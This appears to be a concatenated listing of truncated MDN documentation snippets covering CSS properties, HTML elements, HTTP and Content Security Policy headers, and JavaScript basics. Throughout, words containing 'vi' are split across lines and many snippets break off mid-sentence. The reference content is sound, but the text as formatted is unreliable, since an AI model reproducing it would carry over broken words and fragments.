... additionally, certain kinds of motion can be a trigger for vestibular disorders, epilepsy, and migraine and scotopic sensiti
vity.
... html <div class="animation">animated box</div> css .animation { -webkit-animation:
vibrate 0.3s linear infinite both; animation:
vibrate 0.3s linear infinite both; } @media (prefers-reduced-motion: reduce) { .animation { animation: none; } } high contrast mode the -ms-high-contrast css media feature is a microsoft extension that describes whether the application is being displayed in high contrast mode, and with what color variation.
... this will help not only users with low
vision and contrast sensiti
vity issues but also users that are working on a computer or phone with direct sunlight.
<blend-mode> - CSS: Cascading Style Sheets
<div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: lighten; } color-dodge the final color is the result of di
viding the bottom color by the inverse of the top color.
... <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: color-dodge; } color-burn the final color is the result of inverting the bottom color, di
viding the value by the top color, and inverting that value.
... a pure gray backdrop, ha
ving no saturation, will have no effect.
...below it we have a pro
vided a <select> menu that allows you to change the background-blend-mode applied to the <div>, allowing you to compare the different blend mode effects.
border - CSS: Cascading Style Sheets
note: the border will be in
visible if its style is not defined.
... css level 2 (re
vision 1)the definition of 'border' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborderchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support ...
... 3.5safari full support 1web
view android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
calc() - CSS: Cascading Style Sheets
/ di
vision.
... di
vision by zero results in an error being generated by the html parser.
... math expressions invol
ving percentages for widths and heights on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified.
...this includes any di
vision, even if it results in an integer.
color - CSS: Cascading Style Sheets
for an over
view of using color in html, see applying color to html elements using css.
... accessibility concerns it is important to ensure that the contrast ratio between the color of the text and the background the text is placed over is high enough that people experiencing low
vision conditions will be able to read the content of the page.
... adds hwb(), de
vice-cmyk(), and color() functions.
... css level 2 (re
vision 1)the definition of 'color' in that specification.
empty-cells - CSS: Cascading Style Sheets
the empty-cells css property sets whether borders and backgrounds appear around <table> cells that have no
visible content.
... <td></td> </tr> </table> <br> <table class="table_2"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> css .table_1 { empty-cells: show; } .table_2 { empty-cells: hide; } td, th { border: 1px solid gray; padding: 0.5rem; } result specifications specification status comment css level 2 (re
vision 1)the definition of 'empty-cells' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetempty-cellschrome full support 1edge full support 12firefox full support 1ie full support 8opera full support 4safari full support ...
... 1.2web
view android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 3.1samsung internet android full support 1.0legend full support full support ...
flex-direction - CSS: Cascading Style Sheets
accessibility concerns using the flex-direction property with values of row-reverse or column-reverse will create a disconnect between the
visual presentation of content and dom order.
... this will adversely affect users experiencing low
vision na
vigating with the aid of assistive technology such as a screen reader.
... if the
visual (css) order is important, then screen reader users will not have access to the correct reading order.
... flexbox & the keyboard na
vigation disconnect — tink source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>this is a column-reverse</h4> <div id="content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> </div> <h4>this is a row-reverse</h4> <div id="content1"> <div class="box1" style="background-color:red;">a<...
font-size-adjust - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-size-adjustchrome full support 43disabled full support 43disabled disabled from version 43: this feature is behind the enable experimental web platform features preference.
... to change preferences in chrome,
visit chrome://flags.edge full support 79disabled full support 79disabled disabled from version 79: this feature is behind the enable experimental web platform features preference.firefox full support 40 full support 40 full support 3notes notes before firefox 40, font-size-adjust: 0 was incorrectly interpreted as font-size-adjust: none (bug 1144885).
...ted on windows only.ie no support noopera full support 30disabled full support 30disabled disabled from version 30: this feature is behind the enable experimental web platform features preference.safari no support noweb
view android no support nochrome android full support 43disabled full support 43disabled disabled from version 43: this feature is behind the enable experimental web platform features preference.
... to change preferences in chrome,
visit chrome://flags.firefox android full support 4opera android full support 30disabled full support 30disabled disabled from version 30: this feature is behind the enable experimental web platform features preference.safari ios no support nosamsung internet android no support nolegend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitl...
font-size - CSS: Cascading Style Sheets
by setting a keyword font size on the <body> element, you can set relative font-sizing everywhere else on the page, gi
ving you the ability to easily scale the font up or down on the entire page accordingly.
...for example, users with limited
vision may wish to set the font size much larger than the size chosen by a web designer.
... the css below is nearly identical to the pre
vious example.
... css level 2 (re
vision 1)the definition of 'font-size' in that specification.
hyphens - CSS: Cascading Style Sheets
note: the auto setting's beha
vior depends on the language being properly tagged to select the appropriate hyphenation rules.
... suggesting line break opportunities there are two unicode characters used to manually specify potential line break points within text: u+2010 (hyphen) the "hard" hyphen character indicates a
visible line break opportunity.
... u+00ad (shy) an in
visible, "soft" hyphen.
... this character is not rendered
visibly; instead, it marks a place where the browser should break the word if hyphenation is necessary.
inherit - CSS: Cascading Style Sheets
for inherited properties, this reinforces the default beha
vior, and is only needed to override another rule.
... for non-inherited properties, this specifies a beha
vior that typically makes relatively little sense and you may consider using initial instead, or unset on the all property.
... candidate recommendation no significant change from css level 2 (re
vision 1).
... css level 2 (re
vision 1)the definition of 'inherit' in that specification.
line-height - CSS: Cascading Style Sheets
this will help people experiencing low
vision conditions, as well as people with cognitive concerns such as dyslexia.
... html <div class="box green"> <h1>avoid unexpected results by using unitless line-height.</h1> length and percentage line-heights have poor inheritance beha
vior ...
... </div> <div class="box red"> <h1>avoid unexpected results by using unitless line-height.</h1> length and percentage line-heights have poor inheritance beha
vior ...
...t-size (15px × 1.1) = 16.5px, probably not what you want --> css .green { line-height: 1.1; border: solid limegreen; } .red { line-height: 1.1em; border: solid red; } h1 { font-size: 30px; } .box { width: 18em; display: inline-block; vertical-align: top; font-size: 15px; } result specifications specification status comment css level 2 (re
vision 1)the definition of 'line-height' in that specification.
object-fit - CSS: Cascading Style Sheets
the object-fit css property sets how the content of a replaced element, such as an <img> or <
video>, should be resized to fit its container.
...the entire object is made to fill the box, while preser
ving its aspect ratio, so the object will be "letterboxed" if its aspect ratio does not match the aspect ratio of the box.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobject-fitchrome full support 31edge full support 16notes full support 16notes notes edge supports object-fit on img elements only.
... 36ie no support noopera full support 19 full support 19 full support 11.6prefixed prefixed implemented with the vendor prefix: -o-safari full support 10web
view android full support 4.4.3chrome android full support 31firefox android full support 36opera android full support 19 full support 19 full support ...
right - CSS: Cascading Style Sheets
working draft adds beha
vior for sticky positioning.
... css level 2 (re
vision 1)the definition of 'right' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrightchrome full support 1edge full support 12firefox full support 1ie full support 5.5opera full support 5safari full support ...
... 1web
view android full support 1chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
scrollbar-color - CSS: Cascading Style Sheets
the thumb refers to the mo
ving part of the scrollbar, which usually floats on top of the track.
... dark show a dark scrollbar, which can be either a dark variant of scrollbar pro
vided by the platform, or a custom scrollbar with dark colors.
... light show a light scrollbar, which can be either a light variant of scrollbar pro
vided by the platform, or a custom scrollbar with light colors.
... note: user agents must apply any scrollbar-color value set on the root element to the
viewport.
<shape> - CSS: Cascading Style Sheets
example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (re
vision 1)the definition of '<shape>' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<shape> deprecatedchrome full support 1edge full support 12firefox full support 1ie full support 5.5opera full support 9.5safari ...
... full support 1.3web
view android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0rect() deprecatedchrome full support 1edge full support 12firefox full support 1ie full support 5.5notes ...
...for internet explorer 8 and later versions, only the standard comma-separated syntax is supported.opera full support 9.5safari full support 1.3web
view android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android ...
text-align - CSS: Cascading Style Sheets
vestibulum ac leo
vitae metus faucibus gra
vida ac in neque.
... vestibulum ac leo
vitae metus faucibus gra
vida ac in neque.
... vestibulum ac leo
vitae metus faucibus gra
vida ac in neque.
... css level 2 (re
vision 1)the definition of 'text-align' in that specification.
transform-box - CSS: Cascading Style Sheets
/* keyword values */ transform-box: content-box; transform-box: border-box; transform-box: fill-box; transform-box: stroke-box; transform-box:
view-box; /* global values */ transform-box: inherit; transform-box: initial; transform-box: unset; syntax the transform-box property is specified as one of the keyword values listed below.
...
view-box the nearest svg
viewport is used as the reference box.
... if a
viewbox attribute is specified for the svg
viewport creating element, the reference box is positioned at the origin of the coordinate system established by the
viewbox attribute, and the dimension of the reference box is set to the width and height values of the
viewbox attribute.
... formal definition initial value
view-boxapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax content-box | border-box | fill-box | stroke-box |
view-box examples svg transform-origin scoping in this example we have an svg: <svg id="svg" xmlns="http://www.w3.org/2000/svg"
viewbox="0 0 50 50"> <g> <circle id="center" fill="red" r="1" transform="translate(25 25)" /> <circle id="boxcenter" fill="blue" r=".5" transform="translate(15 15)" /> <rect id="box" x="10" y="10" width="10" height="10" rx="1" ry="1" stroke="black" fill="none" /> </g> </svg> in the css we have an animation that uses a transform to rotate the rectangle infinitely.
Introduction to HTML5 - Developer guides
html5 is the fifth re
vision and newest version of the html standard.
... it offers new features that pro
vide not only rich media support but also enhance support for creating web applications that can interact with users, their local data, and servers more easily and effectively than was pre
viously possible.
...in pre
vious versions of html, it was done using a very complex <meta> element.
...until the introduction of html5, only the meaning of valid mark-up was defined, meaning that as soon as one small error was made in the mark-up (most websites have at least one), the beha
vior was undefined.
HTML attribute: required - HTML: Hypertext Markup Language
usability when including the required attribute, pro
vide a
visible indication near the control informing the user that the input, select or textarea is required.
... specifications specification status comment html li
ving standardthe definition of 'required attribute' in that specification.
... li
ving standard html5the definition of 'required attribute' in that specification.
... recommendation accessibility concerns pro
vide an indication to users informing them the form control is required.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
target a keyword or author-defined name of the default browsing context to show the results of na
vigation from <a>, <area>, or <form> elements without explicit target attributes.
...for example: <meta property="og:image" content="https://example.com/thumbnail.jpg"> examples <base href="https://www.example.com/"> <base target="_blank"> <base target="_top" href="https://example.com/"> specifications specification status comment html li
ving standardthe definition of '<base>' in that specification.
... li
ving standard no change since last snapshot.
... recommendation specified the beha
vior of target html 4.01 specificationthe definition of '<base>' in that specification.
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
usually, the bidirectional algorithm will do the right thing without the author ha
ving to pro
vide any special markup but, occasionally, the algorithm needs help.
... though the same
visual effect can be achieved using the css rule unicode-bidi: isolate on a <span> or another text-formatting element, html authors should not use this approach because it is not semantic and browsers are allowed to ignore css styling.
... ordered: <ul> <li><bdi class="name">اَلأَعْشَى</bdi> - 1st place</li> <li><bdi class="name">jerry cruncher</bdi> - 2nd place</li> </ul> body { border: 1px solid #3f87a6; max-width: calc(100% - 40px - 6px); padding: 20px; width: calc(100% - 40px - 6px); border-width: 1px 1px 1px 5px; } specifications specification status comment html li
ving standardthe definition of '<bdi>' in that specification.
... li
ving standard html5the definition of '<bdi>' in that specification.
<cite>: The Citation element - HTML: Hypertext Markup Language
the reference may be in an abbre
viated form according to context-appropriate conventions related to citation metadata.
... usage notes in the context of the <cite> element, a creative work that might be cited could be, for example, one of the following: a book a research paper an essay a poem a musical score a song a play or film script a film a tele
vision show a game a sculpture a painting a theatrical production a play an opera a musical an exhibition a legal case report a computer program a web site a web page a blog post or comment a forum post or comment a tweet a facebook post a written or oral statement and so forth.
... example <p>more information can be found in <cite>[iso-0000]</cite>.</p> the html above outputs: specifications specification status comment html li
ving standardthe definition of '<cite>' in that specification.
... li
ving standard html5the definition of '<cite>' in that specification.
<dd>: The Description Details element - HTML: Hypertext Markup Language
the html <dd> element pro
vides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>).
... pre
vious sibling <dt> or another <dd> element.
... specifications specification status comment html li
ving standardthe definition of '<dd>' in that specification.
... li
ving standard html5the definition of '<dd>' in that specification.
<dt>: The Description Term element - HTML: Hypertext Markup Language
the subsequent <dd> (description details) element pro
vides the definition or other related text associated with the term specified using <dt>.
... example for an example, see the example pro
vided for the <dl> element.
... specifications specification status comment html li
ving standardthe definition of '<dt>' in that specification.
... li
ving standard html5the definition of '<dt>' in that specification.
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
image --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> </figure> <!-- image with a caption --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> <figcaption>mdn logo</figcaption> </figure> code snippets <figure> <figcaption>get browser details using <code>na
vigator</code>.</figcaption> <pre> function na
vigatorexample() { var txt; txt = "browser codename: " + na
vigator.appcodename + "; "; txt+= "browser name: " + na
vigator.appname + "; "; txt+= "browser version: " + na
vigator.appversion + "; "; txt+= "cookies enabled: " + na
vigator.cookieenabled + "; "; txt+= "platform: " + na
vigator.platform + "; "; txt+= "user-agent header: " + na
vi...
...gator.useragent + "; "; console.log("na
vigatorexample", txt); } </pre> </figure> quotations <figure> <figcaption><cite>edsger dijkstra:</cite></figcaption> <blockquote>if debugging is the process of remo
ving software bugs, then programming must be the process of putting them in.</blockquote> </figure> poems <figure> <p style="white-space:pre"> bid me discourse, i will enchant thine ear, or like a fairy trip upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><cite>venus and adonis</cite>, by william shakespeare</figcaption> </figure> specifications specification status comment ...
... html li
ving standardthe definition of '<figure>' in that specification.
... li
ving standard html 5.2the definition of '<figure>' in that specification.
<form> - HTML: Hypertext Markup Language
(in pre
vious versions of html, character encodings could also be delimited by commas.) autocapitalize a nonstandard attribute used by ios safari that controls how textual form elements should be automatically capitalized.
... attributes for form submission the following attributes control beha
vior during form submission.
...od="post"> <label>name: <input name="submitted-name" autocomplete="name"> </label> <button>save</button> </form> <!-- form with fieldset, legend, and label --> <form method="post"> <fieldset> <legend>title</legend> <label><input type="radio" name="radio"> select me</label> </fieldset> </form> specifications specification status comment html li
ving standardthe definition of '<form>' in that specification.
... li
ving standard html5the definition of '<form>' in that specification.
<header> - HTML: Hypertext Markup Language
the html <header> element represents introductory content, typically a group of introductory or na
vigational aids.
... implicit aria role banner, or no corresponding role if a descendant of an article, aside, main, nav or section element, or an element with role=article, complementary, main, na
vigation or region permitted aria roles group, presentation or none dom interface htmlelement usage notes the <header> element is not sectioning content and therefore does not introduce a new section in the outline.
... <h2>the planet earth</h2> <p>posted on wednesday, <time datetime="2017-10-04">4 october 2017</time> by jane smith</p> </header> <p>we live on a planet that's blue and green, with so many things still unseen.</p> <p><a href="https://janesmith.com/the-planet-earth/">continue reading....</a></p> </article> specifications specification status comment html li
ving standardthe definition of '<header>' in that specification.
... li
ving standard html5the definition of '<header>' in that specification.
<input type="reset"> - HTML: Hypertext Markup Language
if you want to create a custom button and then customize the beha
viour using javascript, you need to use <input type="button">, or better still, a <button> element.
...when building a site, be sure to pro
vide this information in a way that doesn't interfere with the site design (for example by pro
viding an easily accessible link that points to information on what the site access keys are).
... specifications specification status html li
ving standardthe definition of '<input type="reset">' in that specification.
... li
ving standard html5the definition of '<input type="reset">' in that specification.
<menu> - HTML: Hypertext Markup Language
used within nested menus, to pro
vide a label through which the submenu can be accessed.
... this element was deprecated in html4, but reintroduced in html5.1 and the html li
ving standard.
.../menu> </li> <li> <button type="menu" menu="edit-menu">edit</button> <menu type="context" id="edit-menu"> <menuitem label="cut..." onclick="cutedit()"> <menuitem label="copy..." onclick="copyedit()"> <menuitem label="paste..." onclick="pasteedit()"> </menu> </li> </menu> result specifications specification status comment html li
ving standardthe definition of '<menu>' in that specification.
... li
ving standard no change from latest snapshot, unknown html 5.1the definition of '<menu>' in that specification.
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
if there is no value attribute, the progress bar is indeterminate; this indicates that an acti
vity is ongoing with no indication of how long it is expected to take.
...to change the progress bar to indeterminate after gi
ving it a value you must remove the value attribute with element.removeattribute('value').
... examples <progress value="70" max="100">70 %</progress> result on windows 7, the resulting progress looks like this: specifications specification status comment html li
ving standardthe definition of '<progress>' in that specification.
... li
ving standard html5the definition of '<progress>' in that specification.
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
the html ruby fallback parenthesis (<rp>) element is used to pro
vide fall-back parentheses for browsers that do not support display of ruby annotations using the <ruby> element.
...the <rp> element is used in the case of lack of <ruby> element support; the <rp> content pro
vides what should be displayed in order to indicate the presence of a ruby annotation, usually parentheses.
... specifications specification status comment html li
ving standardthe definition of '<rp>' in that specification.
... li
ving standard html5the definition of '<rp>' in that specification.
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
the html ruby text (<rt>) element specifies the ruby text component of a ruby annotation, which is used to pro
vide pronunciation, translation, or transliteration information for east asian typography.
... examples this simple example pro
vides romaji transliteration for the kanji characters within the <ruby> element: <ruby> 漢 <rt>kan</rt> 字 <rt>ji</rt> </ruby> body { font-size: 22px; } the output looks like this in your browser: on a browser without ruby support, this example might look like this: 漢 kan 字 ji body { font-size: 22px; } specifications specification status comment ...
... html li
ving standardthe definition of '<rt>' in that specification.
... li
ving standard html5the definition of '<rt>' in that specification.
<section>: The Generic Section element - HTML: Hypertext Markup Language
as an example, a na
vigation menu should be wrapped in a <nav> element, but a list of search results and a map display and its controls don't have specific elements, and could be put inside a <section>.
... implicit aria role region if the element has an accessible name, otherwise no corresponding role permitted aria roles alert, alertdialog, application, banner, complementary, contentinfo, dialog, document, feed, log, main, marquee, na
vigation, none, note, presentation, search, status, tabpanel dom interface htmlelement attributes this element only includes the global attributes.
... example before <div> <h1>heading</h1> <p>bunch of awesome content</p> </div> after <section> <h1>heading</h1> <p>bunch of awesome content</p> </section> specifications specification status comment html li
ving standardthe definition of '<section>' in that specification.
... li
ving standard html 5.1the definition of '<section>' in that specification.
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
deprecated attributes abbr this attribute contains a short abbre
viated description of the cell's content.
...alternatively, you can put the abbre
viated description inside the cell and place the long content in the title attribute.
... specifications specification status comment html li
ving standardthe definition of 'td element' in that specification.
... li
ving standard html5the definition of 'td element' in that specification.
<template>: The Content Template element - HTML: Hypertext Markup Language
note that directly using the value of the content could lead to unexpected beha
vior, see avoiding documentfragment pitfall section below.
...} the result is the original html table, with two new rows appended to it
via javascript: table { background: #000; } table td { background: #fff; } avoiding documentfragment pitfall a documentfragment is not a valid target for various events, as such it is often preferable to clone or refer to the elements within it.
... specifications specification status comment html li
ving standardthe definition of 'template element' in that specification.
... li
ving standard html5the definition of 'template element' in that specification.
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
usage notes along with other pure styling elements, the original html underline (<u>) element was deprecated in html 4; however, <u> was restored in html 5 with a new, semantic, meaning: to mark text as ha
ving some form of non-textual annotation applied.
...onsider using in most cases, you should use an element other than <u>, such as: <em> to denote stress emphasis <b> to draw attention to text <mark> to mark key words or phrases <strong> to indicate that text has strong importance <cite> to mark the titles of books or other publications <i> to denote technical terms, transliterations, thoughts, or names of vessels in western texts to pro
vide textual annotations (as opposed to the non-textual annotations created with <u>), use the <ruby> element.
...you can, if you wish, override that using css: cite { font-style: normal; text-decoration: underline; } result with custom style specifications specification status comment html li
ving standardthe definition of '<u>' in that specification.
... li
ving standard html5the definition of '<u>' in that specification.
contextmenu - HTML: Hypertext Markup Language
example html <body contextmenu="share"> <menu type="context" id="share"> <menu label="share"> <menuitem label="twitter" onclick="share
viatwitter()"></menuitem> <menuitem label="facebook" onclick="share
viafacebook()"></menuitem> </menu> </menu> <ol> <li> anywhere in the example you can share the page on twitter and facebook using the share menu from your context menu.
...ge below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"></menuitem> </menu> </li> </ol> </body> javascript function share
viatwitter() { window.open("https://twitter.com/intent/tweet?text=" + "hurray!
... i am learning contextmenu from mdn
via mozilla"); } function share
viafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
... recommendation snapshot of html li
ving standard, initial definition.
itemid - HTML: Hypertext Markup Language
the itemid global attribute pro
vides microdata in the form of a unique, global identifier of an item.
... the exact meaning of an itemtype's global identifier is pro
vided by the definition of that identifier within the specified vocabulary.
...hamilton itemprop pubdate 1996-01-26 result specifications specification status comment html li
ving standardthe definition of 'itemid' in that specification.
... li
ving standard ...
lang - HTML: Hypertext Markup Language
specifications specification status comment html li
ving standardthe definition of 'lang' in that specification.
... li
ving standard no change from latest snapshot, html 5.1 html 5.1the definition of 'lang' in that specification.
... recommendation snapshot of html li
ving standard, no change from html5 html5the definition of 'lang' in that specification.
... recommendation snapshot of html li
ving standard, beha
vior with xml:lang and language determination algorithm defined.
style - HTML: Hypertext Markup Language
specifications specification status comment html li
ving standardthe definition of 'style' in that specification.
... li
ving standard no change from latest snapshot, html 5.1 html 5.1the definition of 'style' in that specification.
... recommendation snapshot of html li
ving standard, no change from html5 html5the definition of 'style' in that specification.
... recommendation snapshot of html li
ving standard.
Inline elements - HTML: Hypertext Markup Language
changing element levels you can change the
visual presentation of an element using the css display property.
... for example, by changing the value of display from "inline" to "block", you can tell the browser to render the inline element in a block box rather than an inline box, and
vice versa.
... list of "inline" elements the following elements are inline by default (although block and inline elements are no longer defined in html 5, use content categories instead): <a> <abbr> <acronym> <audio> (if it has
visible controls) <b> <bdi> <bdo> <big> <br> <button> <canvas> <cite> <code> <data> <datalist> <del> <dfn> <em> <embed> <i> <iframe> <img> <input> <ins> <kbd> <label> <map> <mark> <meter> <noscript> <object> <output> <picture> <progress> <q> <ruby> <s> <samp> <script> <select> <slot> <small> <span> <strong> <sub> <sup> <svg> <template> <textarea> <time> ...
... <u> <tt> <var> <
video> <wbr> see also block-level elements html element reference display content categories block and inline layout in normal flow ...
Link types: noopener - HTML: Hypertext Markup Language
the noopener keyword for the rel attribute of the <a>, <area>, and <form> elements instructs the browser to na
vigate to the target resource without granting the new browsing context access to the document that opened it — by not setting the window.opener property on the opened window (it returns null).
... this is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document
via the window.opener property (see about rel=noopener for more details), while still pro
viding the referer http header (unless noreferrer is used as well).
... specifications specification status comment html li
ving standardthe definition of 'noopener' in that specification.
... li
ving standard ...
Compression in HTTP - HTTP
if text can typically have as much as 60% redundancy, this rate can be much higher for some other media like audio and
video.
...
video formats on the web are lossy; the jpeg image format is also lossy.
... as compression works better on a specific kind of files, it usually pro
vides nothing to compress them a second time.
... as compression brings significant performance improvements, it is recommended to activate it for all files, but already compressed ones like images, audio files and
videos.
Cross-Origin Resource Policy (CORP) - HTTP
as this policy is expressed
via a response header, the actual request is not prevented—rather, the browser prevents the result from being leaked by stripping the response body.
... usage note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, preventing
visitors from being able to read past the first page of some pdfs.
... exercise caution using this header in a production en
vironment.
... web applications set a cross-origin resource policy
via the cross-origin-resource-policy http response header, which accepts one of three values: same-site only requests from the same site can read the resource.
CSP: base-uri - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... 'report-sample' requires a sample of the
violating code to be included in the
violation report.
... examples meta tag configuration <meta http-equiv="content-security-policy" content="base-uri 'self'"> apache configuration <ifmodule mod_headers.c> header set content-security-policy "base-uri 'self'"; </ifmodule> nginx configuration add_header content-security-policy "base-uri 'self';"
violation case since your domain isn't example.com, a <base> element with its href set to https://example.com will result in a csp
violation.
... <meta http-equiv="content-security-policy" content="base-uri 'self'"> <base href="https://example.com/"> // error: refused to set the document's base uri to 'https://example.com/' // because it
violates the following content security policy // directive: "base-uri 'self'" specifications specification status comment content security policy level 3the definition of 'base-uri' in that specification.
CSP: connect-src - HTTP
the apis that are restricted are: <a> ping, fetch, xmlhttprequest, websocket, eventsource, and na
vigator.sendbeacon().
...it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... examples
violation cases given this csp header: content-security-policy: connect-src https://example.com/ the following connections are blocked and won't load: <a ping="https://not-example.com"> <script> var xhr = new xmlhttprequest(); xhr.open('get', 'https://not-example.com/'); xhr.send(); var ws = new websocket("https://not-example.com/"); var es = new eventsource("https://not-example.com...
.../"); na
vigator.sendbeacon("https://not-example.com/", { ...
CSP: img-src - HTTP
the http content-security-policy img-src directive specifies valid sources of images and fa
vicons.
...it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... 'report-sample' requires a sample of the
violating code to be included in the
violation report.
... examples
violation cases given this csp header: content-security-policy: img-src https://example.com/ the following <img> is blocked and won't load: <img src="https://not-example.com/foo.jpg" alt="example picture"> specifications specification status comment content security policy level 3the definition of 'img-src' in that specification.
CSP: style-src - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... examples
violation cases given this csp header: content-security-policy: style-src https://example.com/ the following stylesheets are blocked and won't load: <link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /> <style> #inline-style { background: red; } </style> <style> @import url("https://not-example.com/styles/print.css") print; </style> as well as styles loade...
.../div> as well as styles that are applied in javascript by setting the style attribute directly, or by setting csstext: document.queryselector('div').setattribute('style', 'display:none;'); document.queryselector('div').style.csstext = 'display:none;'; however, styles properties that are set directly on the element's style property will not be blocked, allowing users to safely manipulate styles
via javascript: document.queryselector('div').style.display = 'none'; these types of manipulations can be prevented by disallowing javascript
via the script-src csp directive.
... unsafe inline styles note: disallowing inline styles and inline scripts is one of the biggest security wins csp pro
vides.
CSP: upgrade-insecure-requests - HTTP
the upgrade-insecure-requests directive will not ensure that users
visiting your site
via links on third-party sites will be upgraded to https for the top-level na
vigation and thus does not replace the strict-transport-security (hsts) header, which should still be set with an appropriate max-age to ensure that users are not subject to ssl stripping attacks.
... syntax content-security-policy: upgrade-insecure-requests; examples // header content-security-policy: upgrade-insecure-requests; // meta tag <meta http-equiv="content-security-policy" content="upgrade-insecure-requests"> with the above header set on a domain example.com that wants to migrate from http to https, non-na
vigational insecure resource requests are automatically upgraded (first-party as well as third-party requests).
...note that, if the requested resource is not actually available
via https, the request will fail without any fallback to http.
... <img src="https://example.com/image.png"> <img src="https://not-example.com/image.png"> na
vigational upgrades to third-party resources brings a significantly higher potential for breakage, these are not upgraded: <a href="https://example.com/">home</a> <a href="http://not-example.com/">home</a> finding insecure requests with the help of the content-security-policy-report-only header and the report-uri directive, you can set-up an enforced policy and a reported policy like this: content-security-policy: upgrade-insecure-requests; default-src https: content-security-policy-report-only: default-src https:; report-uri /endpoint that way, you still upgrade insecure requests on your secure site, but the only monitoring policy is
violated and reports insecure resources to your endpoint.
Tk - HTTP
the server is acting as a gateway to an exchange invol
ving multiple parties.
...the origin server believes it has received prior consent for tracking this user, user agent, or de
vice.
...the origin server does not know, in real-time, whether it has received prior consent for tracking this user, user agent, or de
vice, but promises not to use or share any dnt:1 data until such consent has been determined, and further promises to delete or permanently de-identify within 48 hours any dnt:1 data received for which such consent has not been received.
...the request resulted in a potential change to the tracking status applicable to this user, user agent, or de
vice.
HTTP
over
view of http the basic features of the client-server protocol: what it can do and its intended uses.
...when ser
ving an http request, a server can send a set-cookie http header with the response.
...for instance, an html page from domain a (http://domaina.example/) makes a request for an image on domain b (http://domainb.foo/image.jpg)
via the img element.
... http headers http message headers are used to describe a resource, or the beha
vior of the server or the client.
Keyed collections - JavaScript
« pre
viousnext » this chapter introduces collections of data which are indexed by a key; map and set objects contain elements which are iterable in the order of insertion.
... use objects when there is logic that operates on indi
vidual elements.
... one difference to map objects is that weakmap keys are not enumerable (i.e., there is no method gi
ving you a list of the keys).
... « pre
viousnext » ...
Loops and iteration - JavaScript
« pre
viousnext » loops offer a quick and easy way to do something repeatedly.
... the statements for loops pro
vided in javascript are: for statement do...while statement while statement labeled statement break statement continue statement for...in statement for...of statement for statement a for loop repeats until a specified condition evaluates to false.
...while (true) { console.log('hello, world!'); } labeled statement a label pro
